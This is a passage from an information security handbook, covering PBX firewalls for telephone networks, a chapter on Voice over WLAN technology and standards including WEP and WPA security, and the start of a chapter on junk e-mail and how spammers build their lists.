• Consolidated reporting of policy violations. By summarizing the output of multiple PBX firewalls, management can see any overall patterns of security violations, ranging from hacker attacks on specific sites to employee attempts to dial inappropriate, premium-900 numbers or country codes not relevant to the business. Figure 9.2, adapted from a white paper by Gregory B. White, shows a communications environment with defenses against intruders from the Internet (data) and the public switched telephone network (voice).
Details of a PBX Firewall Implemenetation The PBX firewall, located between the demarc and the PBX, can look at the traffic going through every trunk in the voice network. After installing a firewall, an organization could specify that any modem traffic other than what is authorized for specific lines (i.e., modem numbers) will be shut down. This eliminates the problem of unknown analog lines and unknown modem traffic. Initially, the organization would set up the logic rules in log or alert mode only and then lock down the network after the environment has been fully “discovered.” Figure 9.3 shows a policy screen that allows modem calls for the IT staff and recognized PBX vendors and employees dialing in through the authorized RAS server. If the call falls through these logic rules, it reaches the final “terminate call” action rule. Like the IP firewall, rules, groups, and actions must be set up for the enterprise based on business and security needs. Because the PBX firewall has access to all the inbound and outbound traffic, including telephone numbers, type of traffic, duration, etc., it can create a plethora of reports showing both security and operationally related information. If it has a large storage capacity, trending reports can be generated. Some examples of possible reports include:
• Source, date, and duration of modem calls into maintenance ports on PBXs, routers, and other network equipment • Non-fax calls on fax lines • Number of unanswered calls sorted by phone station, department, office, or enterprise, which can help flag war dialing • Percent of voice trunk infrastructure consumed by unauthorized modem calls to ISPs from inside the enterprise
PBX Firewalls: Closing the Back Door
143
FIGURE 9.3 Example policy setting screen. (Courtesy of SecureLogix, San Antonio, TX.)
• • • • •
Call volume by source or destination numbers War-dialing attacks Utilization rates for remote access and fax resources Unused, orphaned phone lines showing no traffic activity Summary of calls terminated or flagged based on execution of particular rules; for example, the number of calls terminated due to unauthorized call type (e.g., modem or voice on a fax line) over several months can be listed
Privacy Considerations In some military and other sensitive environments, secure communications are required. The PBX firewall can determine if STU-III encrypted conversations are in process. If communications between two specific numbers are supposed to be always encrypted but are not, alerts can be sent or the calls can be terminated. Another potential privacy enhancement is the ability of two firewalls in separate locations to do end-to-end encryption. For organizations requiring the highest levels of security, PBX firewalls may soon be able to perform word spotting. If, for example, the words “bomb” and “building” are used in a conversation, an alert could be sent to security. Obviously, there are many legal and ethical issues that must be resolved before such capabilities could be implemented, but with very fast chips and increasingly accurate voice recognition software such detection is possible. Encrypted conversations have long been enabled by such devices as the telephone security device 3600, which use the STU-III government standard. The difficulty with this approach is that it does not scale. Any two users who want to encrypt information must have the same device and go through an encryption session at the beginning of the conversation. If many users need encryption, the solution becomes unwieldy and expensive because STU-III devices can cost several thousand dollars. With a PBX-to-PBX solution (i.e., both have PBX firewalls with encryption capabilities), every conversation from the users on one PBX to the other can be encrypted.
Operations Capacity planning for the voice network is demanding. For the data network, packet congestion slows but does not stop traffic. In contrast, when the voice trunks get full, the user gets a busy signal. There is little forgiveness when the voice network does not work perfectly. Hence, telecom managers — the ones
144
Information Security Management Handbook
who stay employed — become conservative, tending to maintain excess capacity. There is some justification for this wariness because of the exponential increase in blockage when capacity has been reached. PBX reports can provide indications of trunking blockage (percent busy) for local and long-distance trunks; however, some effort is required to monitor the trunks and communications links. Typically, line commands such as “list all trunks busy” are used on an ad hoc basis if problems arise. Some telecom groups use both call accounting packages and manual methods to identify trends and capacity bottlenecks. Also, unusual patterns of usage may indicate toll fraud or hacking. Although there is overlap between the reporting offered by traditional call accounting/line commands on the PBX, the firewall provides a more convenient source of real-time and summarized information. Some functions include: • Real-time notification of availability. Line errors, 100 percent busy trunks, frame slippage, D channel problems, and other potential disruptive events can be sent to pagers or to a console. • Monitoring of trunk spans over multiple locations. If the PBX firewalls are linked via a management system, the entire telecommunications enterprise can be viewed from a central console. Security rules can be administered centrally as well. • History of usage. Usage of all trunks can be recorded over time and plotted. This is a convenient method of identifying excess capacity. The real-time capability of the firewall also provides some unique security capabilities. For example, in organizations where security requirements are high, calls can be monitored in real time and suspect calls can be manually terminated. Obviously, all the legal issues must be addressed for such a practice to be implemented.
Limitations of a PBX Firewall The PBX firewall links to analog circuits, ISDN PRI circuits (the most common voice trunking for midsize to larger organizations), standard T1s, and Centrex lines from the local telephone company. Some connection-oriented, data-link circuits such as Frame Relay and ATM are not addressed by the PBX firewall. Typically, data traffic (except for dial-up) is funneled through an IP firewall. Another limitation is direct wireless communications via cellular telephone, satellite, etc. While these are not typically hacker points of penetration, they should be considered in any comprehensive review of network security.
Summary Psychological tests show that recent, high-profile events disproportionately influence our thinking relative to events over a longer period. Hence, well-publicized, data-related security problems overshadow exposures in the more mundane telecommunications infrastructure. “Black hat” hackers, by definition, do not care about the rules of engagement and will attack the weakest point — whether by the social engineering of a new employee or by bypassing the IP firewall via the telephone network. The PBX firewall, properly implemented with policy rules tailored to the organization, can block unauthorized access to the interior of the network.
Notes 1. According to an Intel support Web site (http://support.intel.com/support/si/library/ bi0706.htm), “If the Shiva device is configured for general CLI Authentication (AuthFor DialbackOnly= False), and the remote client’s phone number is not in an authorized list of numbers, the call is rejected. As the call never gets answered, unauthorized users are never presented with a username and password prompt.” 2. Security for PBXs is often convoluted. Rules may be set in one table but overridden in another.
10 Voice over WLAN Bill Lipiczky
Introduction Dropped any cell phone calls lately while you were walking down a hallway or in a stairwell? What if your cell phone vendor could deliver an appliance that would keep you connected by seamlessly routing your call to a wireless local area network (WLAN)? “Voice over Internet Protocol (VoIP),” you gasp, “and wireless at that? No way!” Yes, there is a way. Welcome to the era of merging wireless connectivity with the technology of VoIP. This merger could help revolutionize the telecommunications industry. Other landmark technologies have had major impacts on the way we communicate. We saw how the land-line, analog telephone ushered in a new era of one-on-one communications. Then, when analog cell phones arrived, they heralded a new concept of handheld, “mobile” communications — one could actually have a phone conversation and not be restricted by a cord. Now, Voice over Wireless LAN (VoWLAN) has entered the scene and is propelling us closer to a mobile communications panacea by using a public infrastructure (the Internet) to connect us globally. The technology that allows us to sit at our favorite Wireless Fidelity (WiFi) hotspot, sipping a beverage, transmitting our latest proposal, and communicating using Voice over Wireless Fidelity (VoWiFi), exists today and is in current use. This chapter presents the principles behind Voice over Wireless LANs, its challenges and current applications, and the potential of this up-and-coming technology, which could very likely replace the traditional phone system.
Background The incredible growth of WLANs and the overwhelming acceptance of VoIP have merged to form the foundation for Voice over Wireless LAN (VoWLAN), sometimes referred to as Voice over Wireless Fidelity (VoWiFi). The use of VoIP, the wired Internet Protocol predecessor to VoWiFi, freed us from our landbased telephones. VoIP technology provided us with a cost-effective alternative to circuit-switched voice networks, otherwise known as the public switched telephone network (PSTN). Designing an overall integration strategy built around voice and data exchange via the Internet led to an increased use of remote connectivity both at work and at home. Wireless local area network implementations are growing at an astounding rate. This is partially due to the fact that the IEEE 802.11 wireless standards have provided an organized and practical approach to implementing a wireless solution by offering interoperability between wireless LAN access points and wireless clients regardless of vendor. The WiFi Alliance also has promoted these standards and, as a result, has assisted in influencing hardware vendors to include wireless technologies in laptops, personal digital assistants (PDAs), and other WiFi-enabled devices. This in turn has helped spawn the rapid growth of WiFi hotspots, both those internal to an organization as well as those providing access points to the public. Because VoIP is already running over wired IP networks and because WLANs provide wireless access to IP networks, we can now marry these two technologies to get VoIP over WLANs. This marriage
145
146
Information Security Management Handbook
provides wireless access to IP networks that supply the ample bandwidth that is necessary as we continue to conceive of new uses for this exciting technology. The future continues to look promising. As the sales of WiFi integrated devices continue to increase, the demand for more hotspots increases. As investment in the technology increase so, too, will the demand for more creative applications. For example, numerous municipalities are already deploying wireless infrastructures for their citizens. Commercial ventures at airports and cafes provide wireless access. Cell phone vendors are manufacturing appliances that can initiate a voice call using a cellular provider’s signal and then latch onto a WiFi hotspot to continue the call. And the innovations just keep on coming.
The Technologies Voice over IP (VoIP) Voice over IP is a technology that has made a tremendous impact on the way people now look at telephone service. Potential VoIP providers took a cautious wait-and-see attitude and monitored the responses early adopters were generating, but it was not necessary to hesitate. Anyone who used VoIP and heard the quality and saw the savings, not only in long distance charges but local add-on charges as well, was hooked. Some employees began to pressure their companies to give VoIP a trial run, and numerous companies bought into the concept. As a result, network and telecommunications vendors saw huge potential in providing VoIP devices if not services. Now the number of VoIP providers has steadily grown, and even major telecommunications carriers have set up VoIP calling plans in markets around the United States. Those who understand how VoIP works quickly realize that it is really a clever reinvention of voice communication. The basic premise of VoIP is that it uses the Internet as the carrier for telephone
calls. VoIP converts the telephone voice signal into a digital signal that travels over the Internet then reconverts it to voice on the receiving end, allowing users to speak to anyone with a regular phone number. When placing VoIP calls, users hear a dial tone and then dial just as they normally would.
The Devices Voice over WiFi is the union of VoIP and wireless LANs. This converged application, VoWLAN, encompasses mobile technologies, telecommunications, data communications, and the Internet. A WiFi handset is a wireless LAN client device and uses the same network infrastructure as PDAs and laptops with wireless capabilities. Because use of a WiFi handset is similar to that of a cell phone, it is not necessary to have continuous high-quality connectivity as the user roams throughout the coverage area. Also, because the wireless phone functions similarly to a wired phone, it requires management and configuration from the local organization’s telephone system. Currently, the three ways to place VoIP calls are via analog telephone adaptor (ATA), IP phones, and computer-to-computer. ATA is the easiest and probably most common method of implementing VoIP, as it simply requires a user to connect a standard phone to the Internet connection via the ATA. The ATA is an analog-to-digital converter that takes the analog signal from the traditional phone, converts it into digital data, and then transmits the digital signal over the Internet. IP phones are customized phones that appear to be normal phones with a handset, cradle, and buttons; however, instead of a standard RJ11 phone connector, they have an RJ-45 Ethernet connector. IP phones connect directly to a network and contain all of the hardware and software necessary to process the IP call. Vendors are already offering WiFi IP phones that allow subscribing callers to make VoIP calls from any WiFi hotspot. Computer-tocomputer VoIP is probably the easiest way to use VoIP. Even long-distance calls are free. Several companies offer free or low-cost software for the use of this type of VoIP. The user simply installs the software, uses the computer’s built-in microphone, speakers, and sound card; connects to the Internet; and places a call — a very straightforward setup. The Internet connection should preferably be a fast one, such as cable or digital subscriber line (DSL), and, except for normal monthly ISP fees, there is typically no charge for computer-to-computer calls, no matter the distance. Great news for world travelers!
Voice over WLAN
147
Wireless Local Area Network (WLAN) Wireless local area networks (WLANs) give authorized users freedom from network cables and allow them to roam about a building if they so desire while still retaining access to their resources just as if they were sitting at their desks. WLANs can be used to extend an existing wired infrastructure, but they can also stand alone as well, such as WiFi hotspots. Constant pressure is being exerted on vendors and standards bodies to develop technologies that will improve WLAN data rates, range, and security. The two basic devices in a wireless network are a wireless client and an access device. Wireless clients range from laptops and desktop PCs to PDAs and dual-mode cell phones or any other device that uses wireless communications as its main method of communicating with other network devices. The second device, an access point, is the most common way to connect stations to the WLAN topology; however, the use of wireless switches is growing as well. These are essentially two different categories of network access devices. Access points are typically centrally located devices, and wireless switches are usually distributed devices. Another description might be that traditional access points normally exist in office buildings and cafés and wireless switches are typically used in enterprise WLAN systems. Small to medium businesses (SMBs) may use either an access point or a wireless switch or both. WLANs may also be configured as a peer-to-peer (also known as ad hoc) network that allows devices to communicate directly. A simple implementation would connect two laptops using wireless network interface cards (NICs) and then transmit data back and forth with no access point being required. Peer-to-peer WLAN communications can bypass required encryption and authentication controls; therefore, these transmissions are vulnerable and could be easily intercepted and allow unauthorized access to company information. Sometimes wireless LAN bridges are used to provide a wireless communications link (or bridge) between two wired LANs that are typically located in adjacent buildings. The hardware used in a wireless LAN bridge is similar to a WLAN access point, but instead of only connecting wireless clients to the wired network, bridges are mainly used to connect other wireless LAN bridges to the network.
The Network Infrastructure Good voice quality is a major factor in determining the acceptance of VoWLAN. Because both voice and data will be traveling over the same wireless access points and other IP infrastructure devices, minimizing delay in this environment will be critical. Also, Ethernet, whether wired or wireless, was not originally designed to provide real-time streaming or guaranteed packet delivery. Quality of service (QoS) features are needed to help ensure that voice packet delays stay under 100 msec, which implies that congestion on the wireless network can potentially render voice unusable. The 802.11e committee is developing a standard so real-time applications such as voice and streaming video will be assured of packet delivery within tolerable limits. Where wired phones are stationary, wireless handsets are necessarily mobile. While conversing, the user will be roaming between access points and thus will require a seamless, low-latency handoff between all access points; therefore, the supporting infrastructure may have to be expanded to include coverage in additional areas such as outdoor locales, hallways, and stairs.
The Role of Standards IEEE 802 Wireless Workgroups The Institute of Electrical and Electronics Engineers (IEEE) is the body responsible for setting standards for computing devices. They have established an 802 LMSC (LAN MAN Standards Committee) to set standards for local area networks and metropolitan area networks (MANs). Inside of this committee, workgroups are assigned specific responsibilities and given a numeric description such as “11.” The 802.11 workgroup is tasked with developing the standards for wireless networking. Within this 802.11 workgroup, alphabetic characters, such as “a” or “b” or “g”, are used to further describe groups that have been assigned even more specific tasks.
148
Information Security Management Handbook
Workgroups and Their Associated Responsibilities Port-Based Access Control First used in wired networks, IEEE 802.1x provides a standardized method of authentication. It was later adapted for use in WLANs in order to address security flaws in Wired Equivalent Privacy (WEP). This framework authenticates users, controls their access to a protected network, and uses dynamic encryption keys to ensure data privacy. • Current Standards (workgroup name, frequency, and maximum throughput): 802.11a — 5-GHz band, with a data rate of 54M bit/sec 802.11b — 2.4-GHz band, with a data rate of 11M bit/sec 802.11g — 2.4-GHz band, which uses 802.11a modulation to achieve 54M bit/sec • IEEE Working Groups (workgroup name and responsibility): 802.11d — Addresses 802.11 hardware issues in countries where it currently does not work 802.11e — Describes the message authentication code (MAC) layer QoS features, including prioritizing voice or video traffic 802.11f — Defines communication between access points for layer two roaming 802.11h — Defines measuring and managing the 5-GHz radio signals in 802.11a WLANs; this standard covers compliance with European regulations for 5-GHz WLAN 802.11i — Fixes weaknesses in the WEP encryption scheme 802.11k — Defines access point (AP) communication of radiofrequency health and management data 802.11n — Describes boosting throughput to 100 M bit/sec; simulated WLANs acting like 100-M bit/sec switched Ethernet LANs 802.11r — Defines handoff for fast roaming among APs in order to support voice over wireless as well as data over wireless 802.11s — Describes wirelessly connecting APs for back-haul communications and mesh networking 802.1x — IEEE authentication standard used by the 802.11 standards 802.15 — Addresses the standard for wireless personal area networks (WPANs) 802.15.1 — Covers the standard for low-speed, low-cost WPANs and is based on the Bluetooth specification 802.15.2 — Develops the recommended practices for having 802.11 WLANs and 802.15 WPANs coexist in the 2.4-GHz band; main work is the interference problem between Bluetooth and 802.11 802.15.3 — Develops the standard for WPANs from 10 to 55 Mbps at distances less than 10 m. 802.15.4 — Addresses simple, low-cost, low-speed WPANs in the data ranges from 2 to 200 Kbps and uses direct-sequence spread spectrum (DSSS) modulation in the 2.4- and 915-MHz ranges. 802.16d — Standardizes fixed wireless deployments 802.16e — Standardizes mobile deployments such as in cars
Wired Equivalent Privacy (WEP) Securing a wireless LAN is vital, especially for sites hosting and transmitting valuable information such as credit card numbers or storing sensitive (company confidential) information. Wired Equivalent Privacy (WEP) is the 802.11 encryption standard. Even prior to ratifying WEP in 1999, the 802.11 committee was aware of some WEP weaknesses; however, WEP was the best choice at that time to ensure efficient 802.11 implementations worldwide. Nevertheless, WEP has undergone much scrutiny and criticism over the years. WEP is vulnerable on two fronts — relatively short initialization vectors (IVs) and keys that remain static. With only 24-bit keys, WEP eventually uses the same IVs for different data packets; for a large busy network, this IV reoccurrence can happen within an hour or so. Static shared secret keys are another problem with WEP. Because 802.11 does not provide any functions that support the exchange
Voice over WLAN
149
of keys among stations, system administrators and users generally use the same keys for weeks, months, and even years. This allows mischievous culprits sufficient time to monitor and hack into WEP-enabled networks. To improve the security of WLANs, some vendors deploy dynamic key distribution solutions based on 802.1x. Despite the flaws, WEP is better than nothing and should be enabled as a minimum level of security. Security is an issue because numerous people have taken to war driving — roaming the streets with sniffing tools, which are inexpensive, to discover wireless LANs in neighborhoods, business areas, and colleges. When a wireless LAN is detected where WEP is not implemented, a wireless-enabled laptop is used to gain access to resources located on the discovered network. Activating WEP can minimize the chances of this happening and is especially useful in low-value networks such as a home or small business network. WEP does a good job of keeping honest people out of wireless networks; however, be aware, that accomplished hackers can exploit the weaknesses of WEP and access WEP-enabled networks, especially those with high utilization. For protecting high-value networks from hackers, it would be wise to look into other security solutions.
WiFi Alliance The WiFi Alliance is a global, nonprofit industry association that promotes the growth of wireless local area networks. To ensure each that user’s mobile wireless device experience is consistent across vendor product lines, the WiFi Alliance tests and certifies the interoperability of IEEE 802.11 WLAN products. In its nearly five-year existence, over a thousand products have received the WiFi Certified™ designation. WiFi products covered by the WiFi Alliance include the radio standards of 802.11a, 802.11b, and 802.11g in single, dual-mode (802.11b and 802.11g), or multiband (2.4- and 5-GHz) products. The network security controls addressed are WiFi Protected Access (WPA) and WiFi Protected Access 2 (WPA2), both personal and enterprise, as well as multimedia content over WiFi support for WiFi Multimedia (WMM).
WiFi Protected Access (WPA and WPA2) WiFi Protected Access (WPA) is a wireless security protocol that provides data protection. The WiFi Alliance developed WPA to overcome the limitations of WEP and uses the 802.1x authentication framework with the Extensible Authentication Protocol (EAP), Message Integrity Code (MIC) for integrity, and Temporal Key Integrity Protocol (TKIP) for encryption. WPA2 is the second generation of WPA security and provides WiFi users with the assurance that only authorized users will be able to access their wireless networks. WPA2 is based on IEEE 802.11i and is backward compatible with WPA.
WiMAX The WiMAX Forum assists in the deployment of broadband IEEE 802.16 wireless networks by making certain that broadband wireless access equipment is compatible and interoperable. It achieves this by promoting the adoption of IEEE 802.16-compliant equipment by operators of broadband wireless access systems. The standards-based WiMAX technology enables the delivery of last-mile wireless broadband access. This alternative to cable and DSL can provide fixed, roaming, and, eventually, mobile wireless broadband connectivity, obviating the need for direct line of sight with a base station. At distances of three to ten kilometers, there should be enough capacity to support hundreds of businesses simultaneously at T-1 speeds and thousands of residences at DSL speeds. WiMAX technology could offer portable outdoor broadband wireless access to notebook computer and PDA users as early as 2006.
Bluetooth Ericsson developed Bluetooth to replace the cables connecting electronic equipment, such as computers, printers, and monitors, with tiny radio transmitters. It has since been extended to cell phones and handheld computers. The 10th century Danish King Harald Blaatand, whose last name translates into English
150
Information Security Management Handbook
as Bluetooth, united Denmark and Norway and is reported to be the namesake of the Bluetooth linking technology. Bluetooth technology provides remote and mobile connectivity by enabling notebooks, PCs, mobile phones, PDAs, digital pagers, and other electronic devices, to communicate with each other without the need for cables. Bluetooth technology is different from infrared technology in that Bluetooth devices are not line of sight and can operate through walls or even from within a coat pocket. This WPAN provides communication between electronic desktop devices or in other devises in close proximity up to approximately ten meters. The Bluetooth special interest group (SIG) is a group of companies interested in promoting Bluetooth wireless solutions, similar in nature to the WiFi Alliance promotional role but focusing on a different technology. The primary goal of 802.15 is to define wireless connectivity for fixed, portable, and moving devices within or entering a user’s personal operating space. The second goal is to provide interoperability (e.g., no radio interference) between a WPAN device and any IEEE 802.11 WLAN device. WLAN technology and Bluetooth can interfere with each other because they both operate in the same frequency band. This problem is being worked on by the IEEE 802.15 task group 2 (TG), which is responsible for developing coexistence mechanisms for the two standards. The uses for Bluetooth-enabled electronic devices are numerous as they can connect and communicate wirelessly within short-ranges (100 m or less) in ad hoc networks (piconets). Although Bluetooth and 802.11 wireless technologies share some characteristics, they serve fundamentally different purposes.
Voice over WLAN Benefits With Voice over WLAN, we are integrating mobile data and voice as one system. By bringing together VoIP and WLAN we can provide a worker greater convenience and a corresponding increase in their productivity. Employees can bring their notebook, PCs or other wireless devices with them wherever they go and still receive direct-dial calls. Employees visiting a different office within the company can bring their entire workstations with them and get set up just like at their regular site because a single device provides both phone and data access, just like a phone and a PC. Collaboration and conferencing within an organization can be done at almost the drop of a hat with little or no change of employee venue. Voice over WiFi also has the potential to provide higher dependability than cellular because we can attain 100% coverage within a specific geographic area such as an office or a campus. The total cost of ownership can be minimized. By using a common infrastructure for both voice and data we can experience cost savings. One information technology department can manage both telecommunications and data communications. In fact, by steering a steady course of integrating all voice and data on the same network, additional benefits can be derived, such as purposely designing and deploying a WLAN/VoIP network infrastructure. This architecture can address WLAN and VoIP considerations such as latency issues, appropriate selection and placement of routers and firewalls, and performance management. The potential for additional cost savings can also be realized because VoWLAN can be a low-cost alternative to cell roaming. Help-desk calls may be reduced because wireless handsets have userprogrammable customization features. From a technical cost savings perspective, VoIP uses simple adds, moves, and changes of the VoIP-enabled devices.
Challenges The need for successful remote administration of local and wide area networks has led to advances in remote management applications. The same functionality is needed for the WiFi environment but the services, such as reassigning radio frequencies and signal strength, differ somewhat from the older infrastructure devices. Thus, managing WLANs can be challenging. Whereas the wired network cabling has distance constraints so too does WiFi. The radio signals will attenuate as the wireless client moves farther from its access point, which at a minimum will cause distortion if not total loss of signal. Also, 802.11 originally addressed data traffic only, not voice; for example, bar code packets currently have the same priority as voice packets, but voice traffic is isochronous and requires constant traffic flow with no
Voice over WLAN
151
interruption. Security is still a relevant issue, maybe even more so when it comes to wireless transmission of signals that can be snatched out of the air by numerous devices and analyzed for weaknesses. Such flaws could result in a compromised system.
Managing Wireless LANs Managing several APs in confined areas such as conference rooms is fairly easy but as an organization begins to install dozens of APs managing them becomes problematic. Modifying policies, updating keys, and performing firmware upgrades can be difficult. Enterprise-level APs can usually be managed by the Simple Network Management Protocol (SNMP), as SNMP is designed to handle remote configuration of switches, routers, and other infrastructure devices; however, settings such as signal strength have no SNMP configurability. Thus, an organization would probably standardize its wired and wireless infrastructure devices and use a vendor’s proprietary applications or a third-party application that can manage multiple, different vendor devices.
Throughput Degradation As a client device moves from away from an access point the WLAN throughput diminishes. The degree of diminishment depends on how much intervening material such as metal or wood is located between the two devices. Also, most access points are on a shared medium, and its throughput is divided up among the users connected to that one access point. The 802.11n task group is working on defining application scenarios and describing how this higher throughput technology will be used. This will then be the basis for evaluating and comparing the technologies offered by different vendors
Security Issues Air-Link Connections Private Networks When an employee’s wireless device locks onto an access point, that connection must prevent successful eavesdropping. Typically, the wired portion of the network is secure, and so, too, should the wireless portion. Numerous security protocols are available for authentication, encryption, and integrity such as dynamic WEP, WPA, or 802.11i. Internet Connections Dynamic WEP and the other wireless encryption methods operate only between a wireless-enabled computer and an access point. When data reaches the access point or gateway, it is unencrypted and left unprotected while being transmitted across the public Internet to its destination, unless it is also encrypted at the source with a Secure Sockets Layer (SSL), such as when purchasing on the Internet or when using a virtual private network (VPN). Thus, WPA, for example, will protect users from external intruders; however, users may want to implement additional methods to protect transmissions when using public networks and the Internet. Several technologies are available, but currently VPNs seem to be the most popular choice. Adapting Data-Only Networks for Voice Traffic Current packet-based network protocols are designed to carry data that is typically generated in bursts. This asynchronous traffic sometimes encounters congestion while traveling through the network and thus may undergo fluctuating delays, but the user will probably have no appreciable quality breakdown in data receipt. Not so with voice traffic. Voice traffic, because it must have a steady flow of packets for good audio quality, can be negatively impacted by degradation of traffic. Because we are replacing a circuit-switched network with a packet-switched one, all packets, whether voice or data, compete for existing bandwidth, thus there is no timing guarantee for the constant delivery of voice packets. This is
152
Information Security Management Handbook
another area where research is being conducted to find cost-effective solutions that will interoperate across multiple vendor products. Load Balancing Just as a bus can accommodate a specific number of passengers, access points have a limit to the number of wireless clients it can handle. The WLAN must be able to ascertain when an access point is reaching its capability limit and then divert other clients to different access points that are less loaded. In other words, the WiFi environment must be able to scale across multiple access points in order to successfully handle the number of active uses on the system. Seamless Mobility When we have begun to enjoy the convenience and improved productivity of VoWiFi within our controlled environments, we will require vendors to provide the ability to roam outside of our environment. This entails seamlessly switching to a cell network without disconnecting from the VoWiFi network. To accomplish this will require some type of dual-mode cell/WiFi appliance. Users will expect the appliance to have the same functionality of a cell phone — lightweight, compact, multimode, and (probably high on their list) having a good battery life. They will also expect this transfer of carriers to be transparent, and this transparency will rely on a well-integrated WLAN and telephony infrastructure. This infrastructure must be able to determine each user’s location at any given moment, which carrier they are using (WiFi or cellular), and the best access point to hand off, especially if the user is heading to a door. Dead Zones Most current WLAN applications are intended for data applications and possibly will not provide sufficient coverage for wireless voice use. For example, these WLANs are designed to service static devices such as PCs or terminals, not mobile devices that may be located one moment in a lobby and the next moving down a stairwell. Data applications may not be negatively impacted by such dead zones, but voice quality may be impacted to an extent that is not acceptable.
A Look into the Future WiFi Acceptance Hotspots are almost becoming a necessity. At these locations, users can access the Internet using WiFienabled laptops and other WiFi-enabled devices for free or for a fee. Hotspots are often found at coffee shops, hotels, airport lounges, train stations, convention centers, gas stations, truck stops, and other public meeting areas. Corporations and campuses often offer it to visitors and guests. Hotspot service will become more widely available aboard planes, trains, boats, and perhaps even cars.
Municipalities and WiFi Municipalities are hopping on the VoIP WiFi bandwagon as well. Minneapolis, MN, is looking for a citywide, privately owned, wireless, fiber-optic network to facilitate government communications by linking city buildings, police, and inspectors to the city’s databases. They will sell excess capacity to businesses, residents, and guests for service at 1 to 3 Mbps. Some municipalities have already completed similar projects (e.g., Chaska, MN) that act as ISPs for their residents. Milpitas and San Mateo, CA, use a wireless mesh as a private network for police, fire, emergency, and other city services. Taipei, Taiwan, is building a massive WiFi cloud. The network is expected to make WiFi access as easy as using cell phones for all of Taipei City’s more than 2.5 million inhabitants. Taipei plans to make wireless Internet access available everywhere by the end of 2005. Some 10,000 wireless access points will cover the 272 km2 where 90 percent of Taipei’s 2.65 million people live. It is apparent that wireless mesh networks are coming of age. These networks dynamically route packets from node to node, and only one access point has to be connected directly to the wired network, with
Voice over WLAN
153
the rest sharing a connection. They are self-organizing, automatically adjusting and updating the most efficient routing patterns through the network as nodes or Internet gateways are added or removed. They create a single, scalable, wireless network by using special nodes that automatically communicate with each other. A node can send and receive data, as well as function as a router to relay information to any other node within its area of coverage. As wireless mesh networking gains increasing acceptance with municipalities and cost-conscious enterprises, WLAN vendors are readying more advanced products to support the technology. Although mesh networks have been around for years, adoption has been limited because of the proliferation of traditional wireless broadband networks, which have enormous investments in equipment, services, and wireless technology. To counter this, vendors are beginning to offer VoIP over wireless mesh networks, thereby enabling global voice communications to callers worldwide over existing wireless. Also in development are technologies that will be able to upgrade the wireless mesh network to support the Session Initiation Protocol (SIP), thus allowing any wireless mesh network to be voice enabled. SIP is a signaling protocol used for establishing sessions in an IP network. Sessions could be a two-way telephone call or a collaborative multimedia conference session. The ability to establish these sessions means that a multitude of inventive services becomes possible, such as voice-enriched E-commerce, Web page click-to-dial, and Instant Messaging with buddy lists. In recent years, the VoIP community has adopted SIP as its protocol of choice for signaling. SIP is an RFC standard (RFC 3261) from the Internet Engineering Task Force (IETF). When a mesh is VoIP enabled, customers can receive and make calls, reaching the public switched telephone network (PSTN) worldwide for the price of a local call, and connect to other Internet voice users for the price of the broadband connection.
Summary We have seen how these two technologies — WLANs and VoIP — have grown rapidly in the last few years, and it was inevitable that they would be merged. The ability of VoIP to allow telephony to liberate itself from network borders combined with the capability of WiFi to free devices of their physical boundaries is a pairing well worth taking advantage of. Although some WiFi-based VoIP networks have existed for a while, they and their associated hardware were implemented for very specific purposes. Some examples are hospitals and distribution companies because business drivers and technology are paired and the environments are strongly restricted. However, the market seems to be moving VoWiFi out of controlled environments into the unrestricted space of small offices and residential use. The search then intensifies to find standards and technologies that will control access, provide seamless mobility and ensure quality of service.
This page intentionally left blank
11 Spam Wars: How To Deal with Junk E-Mail Al Bredenberg
Commercial Interruptions Mixed in with the great volume of e-mail business correspondence sent each day, many users receive messages similar to the following: • An offer to find out about new “fountain of youth” scientific discoveries that minimize the effects of aging • Offers to get in on great money-making schemes (usually multilevel marketing opportunities) • An offer to save 40% on airfares • An urgent message to stop the President from signing a certain piece of legislation • An opportunity to participate in a pyramid scheme and make $5000 a month • An offer to start a home-based business using a PC • Three “newsletters” containing nothing but classified ads (mostly multilevel marketing and getrich-quick opportunities) This type of e-mail is called “spam,” which refers to the sending of mass unsolicited messages — junk e-mail — over the Internet. Spamming includes posting promotional messages to large numbers of Usenet newsgroups. For many Internet users, unsolicited e-mail advertising is merely an annoyance, but because many companies and organizations connect to the Internet, e-mail spam also becomes a financial and productivity issue, especially as most bulk e-mailers sign users onto their lists without permission and make virtually no effort to target their lists. It is not uncommon for spam lists to reach into the hundreds of thousands or even millions of e-mail addresses.
The Problem with Spam The cost of one unsolicited e-mail advertisement sent to an organization is negligible, but mass mailings consume significant resources as they pass across the Internet and reach enterprise systems. The organization pays a provider for its Internet access. As general Internet traffic increases, upstream providers are forced to upgrade equipment and increase bandwidth. These development costs must be passed on to customers. Unwanted e-mail traffic exacts a cost to the organization in increased Internet access fees. When it has found its way into the company’s network, bulk e-mail consumes computing and network resources. Users within the company must spend time sorting out and deleting unwanted messages. Not only does this take time and increase the level of frustration of workers, but legitimate messages can also
155
156
Information Security Management Handbook
become confused with spam and be deleted accidentally. Many businesses institute anti-spam policies and procedures to counteract the costs and lost productivity resulting from unsolicited bulk e-mail. It might be argued that some unsolicited e-mail contact may be necessary for companies marketing over the Internet. Some Internet advertisers have devised strategies of identifying closely targeted audiences and approaching users one at a time with brief, tactful commercial messages. Many users and companies tolerate this kind of e-mail advertising. The most vehement opposition arises when an advertiser goes to extremes and spews out a deluge of e-mail promotions to tens of thousands of users, practically none of whom has an interest in the message. Systems administrators may want to establish policies and procedures to fight this kind of network abuse, and no users should be placed on e-mail advertising lists without their permission. Bulk e-mailers who build their e-mail lists by signing users up without permission should and can be opposed by a firm strategy worked out within the enterprise.
How Spammers Operate Most of those who send out unsolicited bulk e-mail are not in the business of selling a product. They are in the business of selling a service: bulk e-mail. The direct marketers who manage their own lists and use them exclusively for the selling of their own products and services usually run smaller, targeted lists. The big-time spammers work very hard to build huge lists and then hire themselves out to advertisers on a contract basis. If a company wants to advertise healthcare products on the Internet, it might pay a spammer $500 for a one-time mailing of the ad to the spammer’s entire database of 500,000 e-mail addresses. Or, for $50, the company could go in on a co-op mailing. In this case, the ad will be a shorter classified-type ad sent along with 20 or 30 others. Professional spammers usually build their lists by vacuuming up e-mail addresses from public places. It is relatively simple to design a program that parses text for any continuous string of characters with an “@” sign in it. Such a program can be set up to strip e-mail addresses from newsgroup postings, World Wide Web sites, or membership directories for commercial online services (such as America Online and CompuServe). The addresses are then added to a database for the next big mailing. Some bulk e-mailers have gone into the business of selling do-it-yourself spamware programs which has resulted in a proliferation of small-time operators and “drive-by” spammers. One newsgroup posting or a one-time listing of an e-mail address on a Web site could potentially put that address on the lists of a dozen spammers. On the surface, the practice of direct e-mail advertising looks like an effort to apply direct 